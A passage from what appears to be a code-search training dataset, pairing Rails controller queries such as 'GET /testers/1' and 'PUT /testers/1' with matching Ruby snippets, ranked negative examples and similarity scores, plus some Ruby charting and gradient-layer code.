"def update\n @person_verse = PersonVerse.find(params[:id])\n\n respond_to do |format|\n if @person_verse.update_attributes(params[:person_verse])\n flash[:notice] = 'PersonVerse was successfully updated.'\n format.html { redirect_to(@person_verse) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\", :layout => \"main\" }\n format.xml { render :xml => @person_verse.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n if @venue.update_attributes(params[:venue])\n format.html { redirect_to @venue, :notice => 'Venue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n if @venue.update_attributes(params[:venue])\n format.html { redirect_to @venue, notice: 'Venue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n if @venue.update_attributes(params[:venue])\n format.html { redirect_to @venue, notice: 'Venue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vessel = Vessel.find(params[:id])\n\n respond_to do |format|\n if @vessel.update_attributes(params[:vessel])\n format.html { redirect_to @vessel, notice: 'Vessel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vessel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_vendedor\n @vendedor = Vendedor.find(params[:id])\n end",
"def set_vendedor\n @vendedor = Vendedor.find(params[:id])\n end",
"def set_vendedor\n @vendedor = Vendedor.find(params[:id])\n end",
"def set_vendedor\n @vendedor = Vendedor.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @verb.update(verb_params)\n format.html { redirect_to @verb, notice: 'Verb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @verb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n @serving = Serving.find(params[:id])\n\n respond_to do |format|\n if @serving.update_attributes(params[:serving])\n format.html { redirect_to @serving, notice: 'Serving was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @serving.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vender.update(vender_params)\n format.html { redirect_to @vender, notice: 'Vender was successfully updated.' }\n format.json { render :show, status: :ok, location: @vender }\n else\n format.html { render :edit }\n format.json { render json: @vender.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @venue.update_attributes(venue_params)\n format.html { redirect_to @venue, notice: 'Venue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @venue = Venue.find(params[:id])\n\n # replace venue_type_ids coming from ember with VenueType.find(id)\n # so Rails handles the many to many relationship correctly\n if params[:venue][:venue_type_ids]\n @venue.venue_types = params[:venue][:venue_type_ids].map { |id| VenueType.find(id) }\n else\n @venue.venue_types = []\n end\n\n if params[:venue][:venue_service_ids]\n @venue.venue_services = params[:venue][:venue_service_ids].map { |id| VenueService.find(id) }\n else\n @venue.venue_services = []\n end\n\n # replace event_type_ids coming from ember with EventType.find(id)\n # so Rails handles the many to many relationship correctly\n if params[:venue][:event_type_ids]\n @venue.event_types = params[:venue][:event_type_ids].map { |id| EventType.find(id) }\n else\n @venue.event_types = []\n end\n\n @venue.save\n if @venue.update(venue_params)\n head :no_content\n else\n render json: @venue.errors, status: :unprocessable_entity\n end\n end"
] | [
"0.6662235",
"0.65737545",
"0.65690035",
"0.63109154",
"0.63109154",
"0.6292955",
"0.62829924",
"0.6167377",
"0.61535877",
"0.6143258",
"0.6129436",
"0.6088105",
"0.60683966",
"0.60606617",
"0.6058758",
"0.6048823",
"0.6036588",
"0.60332954",
"0.60332954",
"0.6011929",
"0.60072666",
"0.60072666",
"0.60072666",
"0.60072666",
"0.6005065",
"0.59925604",
"0.59758794",
"0.5961757",
"0.59580195",
"0.59439677"
] | 0.68436337 | 0 |
GET /testers/1 GET /testers/1.json | def show
@tester = Tester.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @tester }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @testers = Tester.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @testers }\n end\n end",
"def get_one\n test_data = @test.get_one\n return render json: test_data\n end",
"def show\n @trainer = Trainer.find(params[:id])\n\n render json: @trainer.as_json(only: [:name], include: [:trainees])\n end",
"def show\n @trainer = Trainer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trainer }\n end\n end",
"def new\n @tester = Tester.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tester }\n end\n end",
"def new\n @tester = Tester.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tester }\n end\n end",
"def show\n @runner = Runner.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @runner }\n end\n end",
"def teachers\n url = drop_url_version + \"/count/teacherAssociations/#{params['edorg_id']}/teachers\"\n begin\n entities = RestClient.get(url, get_header)\n entities = JSON.parse(entities)\n rescue => e\n logger.info(\"Could not get ed orgs for #{entities} because of #{e.message}\")\n end\n \n respond_to do |format|\n format.json { render json: entities }\n end\n end",
"def listing\n tests = Test.where( user_id: test_params[:user_id] )\n all = TestSerializer.new.all_test(tests)\n return render json: all.as_json\n end",
"def index\n render status: :ok, json: @tests\n end",
"def index\n @tests = Test.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tests }\n end\n end",
"def show\n @taker = Taker.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @taker }\n end\n end",
"def show\n @team_test = TeamTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team_test }\n end\n end",
"def show\n @test = Test.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test }\n end\n end",
"def show\n @scratcher = Scratcher.find(params[:id])\n\n render json: @scratcher\n end",
"def show\n @test_run = TestRun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_run }\n end\n end",
"def test\n get(\"/help/test.json\")\n end",
"def test\n get(\"/help/test.json\")\n end",
"def index\n if current_authkey.authkey.eql?(\"#fl0wk27er\")\n @testers = Tester.all\n else\n redirect_to root_path\n end\n end",
"def show\n @testis = Teste.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @testis }\n end\n end",
"def show\n @test10 = Test10.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test10 }\n end\n end",
"def show\n render json: @test\n end",
"def show\n @test = LoadTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test }\n end\n end",
"def show\n @testbed_owner = TestbedOwner.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @testbed_owner }\n end\n end",
"def show\n @test_suite = TestSuite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_suite }\n end\n end",
"def show\n render status: :ok, json: @test\n end",
"def show\n @json = Punk::API.one_beer!(params[:id])\n render json: {\n beer: @json\n }\n create(@json)\n end",
"def show\n @test_result = TestResult.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_result }\n end\n end",
"def show\n @submitter = Submitter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @submitter }\n end\n end",
"def index\n @test_runs = TestRun.accessible_by(current_ability).order(\"updated_at DESC\").page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @test_runs }\n end\n end"
] | [
"0.7320951",
"0.64492375",
"0.64094263",
"0.6360455",
"0.6325641",
"0.6325641",
"0.62652296",
"0.6210554",
"0.61219674",
"0.610672",
"0.60863084",
"0.6077349",
"0.60522795",
"0.6052208",
"0.60361636",
"0.6035183",
"0.5940203",
"0.5940203",
"0.5939413",
"0.5937062",
"0.59248596",
"0.5872463",
"0.5850925",
"0.5839444",
"0.582666",
"0.5817681",
"0.58007216",
"0.5792648",
"0.57923687",
"0.5790937"
] | 0.7289665 | 1 |
PUT /testers/1 PUT /testers/1.json | def update
@tester = Tester.find(params[:id])
respond_to do |format|
if @tester.update_attributes(params[:tester])
format.html { redirect_to @tester, notice: 'Tester was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @tester.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_put_success\n put \"/blah\", @test_obj do |response|\n assert response.ok?, \"Update test object failed\"\n end\n end",
"def test_update_successful\n data = {\n firstname: \"Anh\",\n lastname: \"Hoang\",\n avatar: \"avatar.png\",\n address: \"111D Ly Chinh Thang\",\n city: \"Ho Chi Minh\",\n email: \"anh@gmallds.sl\",\n mobile: \"0309433343545\",\n gender: 1,\n birthday: \"1991/10/10\"\n }\n\n user_id = 28\n expected = 200\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s)\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n @trainer = Trainer.find(params[:id])\n\n if @trainer.update(trainer_params)\n head :no_content\n else\n render json: @trainer.errors, status: :unprocessable_entity\n end\n end",
"def put(id, json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\" \n return HTTParty.put(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end",
"def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n @test = Test.find(params[:id])\n\n respond_to do |format|\n if @test.update_attributes(params[:test])\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_update_post\n data = {\n title: \"Roll lemon\",\n content: \"Gingerbread bear claw muffin danish danish marzipan. Toffee lollipop wafer carrot cake dessert.\",\n description: \"Chocolate tootsie roll lemon drops. Chupa chups chocolate bar apple pie\",\n image: \"chocolate.png\",\n status: 1\n }\n expected = 200\n post_id = 1\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s)\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def test_update_unsuccessful\n data = {\n firstname: \"\",\n lastname: \"Hoang\",\n avatar: \"avatar.png\",\n address: \"111D Ly Chinh Thang\",\n city: \"Ho Chi Minh\",\n email: \"anh@gmallds.sl\",\n mobile: \"0309433343545\",\n gender: 1,\n birthday: \"1991/10/10\"\n }\n\n user_id = 28\n expected = 1002\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s)\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def update\n if @test.update(test_params)\n render status: :ok, json: @test\n else\n self.send(:edit)\n end\n end",
"def update\n #@user = User.find(params[:id])\n \n if @trainer.update(trainer_params)\n render json: @trainer\n else\n render json: @trainer.errors, status: :unprocessable_entity\n end\nend",
"def update\n @team_test = TeamTest.find(params[:id])\n\n respond_to do |format|\n if @team_test.update_attributes(params[:team_test])\n format.html { redirect_to @team_test, notice: 'Team test was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n @test10 = Test10.find(params[:id])\n\n respond_to do |format|\n if @test10.update_attributes(params[:test10])\n format.html { redirect_to @test10, notice: 'Test10 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test10.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to root_path, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @jsontest.update(jsontest_params)\n format.html { redirect_to @jsontest, notice: 'Jsontest was successfully updated.' }\n format.json { render :show, status: :ok, location: @jsontest }\n else\n format.html { render :edit }\n format.json { render json: @jsontest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @taker = Taker.find(params[:id])\n\n respond_to do |format|\n if @taker.update_attributes(params[:taker])\n format.html { redirect_to @taker, notice: 'Taker was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @taker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test1.update(test1_params)\n format.html { redirect_to @test1, notice: \"Test1 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @test1 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @test1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n sneaker = find_sneaker\n # update! exceptions will be handled by the rescue_from ActiveRecord::RecordInvalid code\n sneaker.update(sneaker_params)\n render json: sneaker\n end",
"def destroy\n @tester = Tester.find(params[:id])\n @tester.destroy\n\n respond_to do |format|\n format.html { redirect_to testers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tester = Tester.find(params[:id])\n @tester.destroy\n\n respond_to do |format|\n format.html { redirect_to testers_url }\n format.json { head :no_content }\n end\n end",
"def put!\n request! :put\n end"
] | [
"0.61199856",
"0.60428333",
"0.6009719",
"0.599153",
"0.5939015",
"0.5874653",
"0.5859881",
"0.5837808",
"0.5810235",
"0.57881397",
"0.57473135",
"0.5744735",
"0.57092404",
"0.5698415",
"0.56830764",
"0.56617266",
"0.5657657",
"0.5647752",
"0.5647752",
"0.5647752",
"0.5647752",
"0.5647752",
"0.5647752",
"0.5647752",
"0.56271887",
"0.5590398",
"0.5589096",
"0.55730855",
"0.55730855",
"0.55666226"
] | 0.6563973 | 0 |
DELETE /testers/1 DELETE /testers/1.json | def destroy
@tester = Tester.find(params[:id])
@tester.destroy
respond_to do |format|
format.html { redirect_to testers_url }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @test = Test.find(params[:id])\n @test.destroy\n\n respond_to do |format|\n format.html { redirect_to tests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @test1.destroy\n respond_to do |format|\n format.html { redirect_to test1s_url, notice: \"Test1 was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_url, notice: 'Prueba eliminada exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_url, notice: 'Test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_url, notice: 'Test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_url, notice: 'Test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_url, notice: 'Test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_url, notice: 'Test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_url, notice: 'Test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_url, notice: 'Test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_url, notice: 'Test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testis = Teste.find(params[:id])\n @testis.destroy\n\n respond_to do |format|\n format.html { redirect_to testes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usertest = Usertest.find(params[:id])\n @usertest.destroy\n\n respond_to do |format|\n format.html { redirect_to usertests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_run.destroy\n respond_to do |format|\n format.html { redirect_to test_runs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n teacher_exclusive\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_url, notice: \"L'épreuve a été supprimée\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testing_.destroy\n respond_to do |format|\n format.html { redirect_to testing_s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jsontest.destroy\n respond_to do |format|\n format.html { redirect_to jsontests_url, notice: 'Jsontest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testtest.destroy\n respond_to do |format|\n format.html { redirect_to testtests_url, notice: 'Testtest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test = LoadTest.find(params[:id])\n @test.destroy\n\n respond_to do |format|\n format.html { redirect_to load_tests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_run = TestRun.find(params[:id])\n @test_run.destroy\n\n respond_to do |format|\n format.html { redirect_to test_runs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testdb = Testdb.find(params[:id])\n @testdb.destroy\n\n respond_to do |format|\n format.html { redirect_to testdbs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testbed_owner = TestbedOwner.find(params[:id])\n @testbed_owner.destroy\n\n respond_to do |format|\n format.html { redirect_to testbed_owners_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @test_datum.destroy\n respond_to do |format|\n format.html { redirect_to test_data_url, notice: 'Test datum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n if @test.destroy\n return render json: { message: 'Test was removed succesfully.', error: false }\n else\n return render json: { message: 'Error :Something went wrong. Test was not removed.', error: true }\n end\n end",
"def destroy\n @test10 = Test10.find(params[:id])\n @test10.destroy\n\n respond_to do |format|\n format.html { redirect_to test10s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test = Mg::Test.find(params[:id])\n @test.destroy\n\n respond_to do |format|\n format.html { redirect_to(mg_tests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @runner.destroy\n respond_to do |format|\n format.html { redirect_to runners_url, notice: 'Runner was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] | [
"0.7104963",
"0.7082499",
"0.7082499",
"0.7035017",
"0.6881532",
"0.6860707",
"0.68588966",
"0.68588966",
"0.68588966",
"0.68588966",
"0.68588966",
"0.68588966",
"0.68588966",
"0.68576384",
"0.6844915",
"0.6817972",
"0.68159556",
"0.6787012",
"0.67862546",
"0.6777178",
"0.67717236",
"0.6753153",
"0.6744063",
"0.6733576",
"0.6720882",
"0.6716602",
"0.6709449",
"0.66936016",
"0.6688094",
"0.66683704"
] | 0.7706601 | 0 |
add a layer that overlays the cell adding a subtle gradient effect | def gradient_layer
@gradient_layer ||= CAGradientLayer.layer.tap do |gradient_layer|
gradient_layer.colors = colors
gradient_layer.locations = [0.0, 0.01, 0.95, 1.0]
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add_layer(thickness, conductivity, density, specific_heat)\n layer = Layer.new()\n # Make sure all the values are > 0.\n layer.set(thickness, conductivity, density, specific_heat)\n @layers.push(layer)\n end",
"def add_layer\n Layer.create(:name => @new_table_name, :table_name => @new_table_name, :geometric_column_name => \"the_geom\")\n end",
"def render_gradiated_background(top_color='#4a465a', bottom_color='black')\n Image.new(@columns, @rows, GradientFill.new(0, 0, 100, 0, top_color, bottom_color))\n end",
"def draw_overlay_bar_graph(data,data_description,alpha=50)\r\n #Validate the Data and DataDescription array */\r\n data_description=self.validate_data_description(\"draw_overlay_bar_graph\",data_description)\r\n self.validate_data(\"draw_overlay_bar_graph\",data)\r\n layer_width =@g_area_x2-@g_area_x1\r\n layer_height =@g_area_y2-@g_area_y1\r\n graph_id = 0\n @layers = []\r\n data_description[\"values\"].each do |col_name|\r\n id = 0\r\n data_description[\"description\"].each do |keyi,valuei|\r\n color_id = id if (keyi == col_name ) \n id = id+1\n end\n \n \n \r\n @layers[graph_id] = image_create_true_color(layer_width,layer_height)\n c_white = GD2::Color.new(255,255,255)\r\n # c_graph = $this->AllocateColor(@layers[graph_id],@pallette[graph_id][\"r\"],@pallette[graph_id][\"g\"],@pallette[graph_id][\"b\"])\n #c_graph=self.allocate_color(@pallette[graph_id][\"r\"],@pallette[graph_id][\"g\"],@pallette[graph_id][\"b\"])\r\n image_filled_rectangle(@layers[graph_id],0,0,layer_width,layer_height,255,255,255)\r\n \n image_color_transparent(@layers[graph_id],255,255,255)\r\n\r\n xwidth = @division_width.to_f / 4\r\n xpos = @g_area_x_offset.to_f\r\n yzero = layer_height - ((0-@vmin.to_f) * @division_ratio.to_f)\r\n xlast = -1 \n points_count = 2\r\n data.each do |key|\r\n value = key[col_name] if ( !(key[col_name].nil?) )\r\n if ( (value).is_a?(Numeric) )\n \r\n ypos = layer_height - ((value-@vmin.to_f) * @division_ratio.to_f)\n \r\n image_filled_rectangle(@layers[graph_id],xpos-xwidth,ypos,xpos+xwidth,yzero,@palette[graph_id][\"r\"],@palette[graph_id][\"g\"],@palette[graph_id][\"b\"])\r\n\r\n x1 =(xpos - xwidth +@g_area_x1).floor\n y1 = (ypos+@g_area_y1).floor + 0.2\r\n x2 = (xpos + xwidth +@g_area_x1).floor\n y2 =@g_area_y2 - ((0-@vmin.to_f) * @division_ratio.to_f)\r\n x1 =@g_area_x1 + 1 if ( x1 <=@g_area_x1 ) \r\n x2 =@g_area_x2 - 1 if ( x2 >=@g_area_x2 )\r\n\r\n #/* Save point into the image map if option activated */\r\n if ( @build_map )\r\n self.add_to_image_map(x,[y1,y2].min,x2,[y1,y2].min,@data_description[\"description\"][col_name],key[col_name].data_description[\"unit\"][\"y\"],\"obar\")\r\n\r\n self.draw_line(x,y1,x2,y1,@palette[color_id][\"r\"],@palette[color_id][\"g\"],@palette[color_id][\"b\"],true)\r\n end\r\n end\r\n xpos = xpos +@division_width.to_f\r\n end #Do end\r\n \r\n graph_id = graph_id+1\n end #for loop\r\n i1=0\n while i1<=(graph_id-1)\r\n \n if !@layers[i1].nil?\n image_copy_merge(@picture,@layers[i1],@g_area_x1,@g_area_y1,0,0,layer_width,layer_height,alpha)\r\n # imagedestroy(@layers[$i])\n end \n i1= i1+1\r\n end\r\n end",
"def draw\n fill_gradient(:from => Color::BLUE, :to => Color::CYAN)\n @header_image.draw(@header_x, @header_y, 100, 3, 3)\n super\n end",
"def add_layer\n puts \"made it to PL add layer\"\n Layer.create(:name => @new_table_name, :table_name => @new_table_name, :geometric_column_name => \"the_geom\")\n end",
"def add_blur_to_image\n r = 0\n c = 0\n rc = 0\n n = 1\n z = []\n u = @y.size.to_i\n while n <= u\n @ary.each_index do |r|\n @ary[r].each_index do |c|\n if ((c.to_i - y[rc][1].to_i).abs + (r.to_i - y[rc][0].to_i).abs).between?(1, @distance.to_i);\n z << [r.to_i, c.to_i]\n end\n end\n end\n r = 0\n c = 0\n rc += 1\n n += 1\n end\n zz=[]\n r1 = 0\n c1 = 0\n z.each do |r|\n r1 = r[0].to_i\n c1 = r[1].to_i\n @ary[r1][c1] = 1\n end\n end",
"def item_complete_layer\n @item_complete_layer ||= CALayer.layer.tap do |item_complete_layer|\n item_complete_layer.backgroundColor = UIColor.alloc.initWithRed(0.0, green: 0.6, blue: 0.0, alpha: 1.0).CGColor\n item_complete_layer.hidden = true\n end\n end",
"def create_layer( name, color, frame_color, stipple )\n\n if @layers[name] == nil \n\n linfo = RBA::LayerInfo.new \n lid = @layout.insert_layer( linfo )\n @layers[name] = lid\n\n lpp = @view.end_layers\n ln = RBA::LayerPropertiesNode::new\n ln.dither_pattern = stipple\n ln.fill_color = color\n ln.frame_color = frame_color\n ln.width = 1\n ln.source_layer_index = lid\n @view.insert_layer( lpp, ln )\n\n else\n lid = @layers[name]\n end\n\n return lid\n\n end",
"def setup\n size 100, 100\n orange = color(204, 102, 0)\n blue = color(0, 102, 153)\n orangeblueadd = blend_color(orange, blue, ADD)\n background(51)\n noStroke()\n fill(orange)\n rect(14, 20, 20, 60)\n fill(orangeblueadd)\n rect(40, 20, 20, 60)\n fill(blue)\n rect(66, 20, 20, 60)\nend",
"def layer\n end",
"def draw_overlay_bar_graph(data,data_description,alpha=50)\n data_description = validate_data_description(\"draw_overlay_bar_graph\",data_description)\n validate_data(\"draw_overlay_bar_graph\",data)\n layer_width = @g_area_x2-@g_area_x1\n layer_height = @g_area_y2-@g_area_y1\n graph_id = 0\n color_id =0\n id =0\n data_description[\"values\"].each do |col_name|\n data_description[\"description\"].each do |key_i,value_i|\n if ( key_i == col_name )\n color_id = id\n id = id+1\n end\n end\n @layers[graph_id] = image_create_true_color(layer_width,layer_height)\n image_filled_rectangle(@layers[graph_id],0,0,layer_width,layer_height,255,255,255)\n image_color_transparent(@layers[graph_id],255,255,255)\n x_width = @division_width / 4\n x_pos = @g_area_x_offset\n y_zero = layer_height - ((0-@vmin) * @division_ratio)\n x_last = -1\n points_count = 2\n data.each do |key|\n if(!key[col_name].nil?)\n if(key[col_name].is_a?(Numeric))\n value = key[col_name]\n if (value.is_a?(Numeric) )\n y_pos = layer_height - ((value-@vmin) * @division_ratio)\n image_filled_rectangle(@layers[graph_id],x_pos-x_width,y_pos,x_pos+x_width,y_zero,@palette[graph_id][\"r\"],@palette[graph_id][\"g\"],@palette[graph_id][\"b\"])\n x1 = (x_pos - x_width + @g_area_x1).floor\n y1 = (y_pos+@g_area_y1).floor + 0.2\n x2 = (x_pos + x_width + @g_area_x1).floor\n y2 = @g_area_y2 - ((0-@vmin) * @division_ratio)\n x1 = @g_area_x1 + 1 if ( x1 <= @g_area_x1 )\n x2 = @g_area_x2 - 1 if ( x2 >= @g_area_x2 )\n\n # Save point into the image map if option activated */\n if ( 